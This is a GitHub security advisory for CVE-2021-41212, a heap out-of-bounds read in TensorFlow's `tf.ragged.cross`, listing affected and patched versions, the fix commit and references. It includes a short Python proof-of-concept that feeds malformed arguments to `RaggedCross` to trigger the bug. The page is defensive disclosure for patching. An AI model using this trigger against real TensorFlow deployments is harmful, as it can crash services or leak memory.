GitHub Advisoryadvisory · PyPI
GHSA-fr77-rrx3-cp7g Heap OOB read in `tf.ragged.cross`
HIGH
Official page ↗
- Aliases
- CVE-2021-41212
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
- Weaknesses
- CWE-125
- Reviewed
- 2021-11-08
Affected packages
• PyPI tensorflow: >= 2.6.0, < 2.6.1 → fixed in 2.6.1
• PyPI tensorflow: >= 2.5.0, < 2.5.2 → fixed in 2.5.2
• PyPI tensorflow: < 2.4.4 → fixed in 2.4.4
• PyPI tensorflow-cpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1
• PyPI tensorflow-cpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2
• PyPI tensorflow-cpu: < 2.4.4 → fixed in 2.4.4
• PyPI tensorflow-gpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1
• PyPI tensorflow-gpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2
• PyPI tensorflow-gpu: < 2.4.4 → fixed in 2.4.4
Description
Impact
The shape inference code for `tf.ragged.cross` can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.RaggedCross(ragged_values=[],
ragged_row_splits=[],
sparse_indices=[[5]],
sparse_values=[],
sparse_shape=[5],
dense_inputs=[['a']],
input_order='RD',
hashed_output=False,
num_buckets=5,
hash_key=2,
out_values_type=tf.string,
out_row_splits_type=tf.int64)
return y
test()
```
Patches
We have patched the issue in GitHub commit fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Related
Alias · CVE (1)
- CVE-2021-41212 TensorFlow is an open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-125 Out-of-bounds Read weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fr77-rrx3-cp7g web
- https://nvd.nist.gov/vuln/detail/CVE-2021-41212 advisory
- https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8 web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-621.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-819.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-404.yaml web
- https://github.com/tensorflow/tensorflow package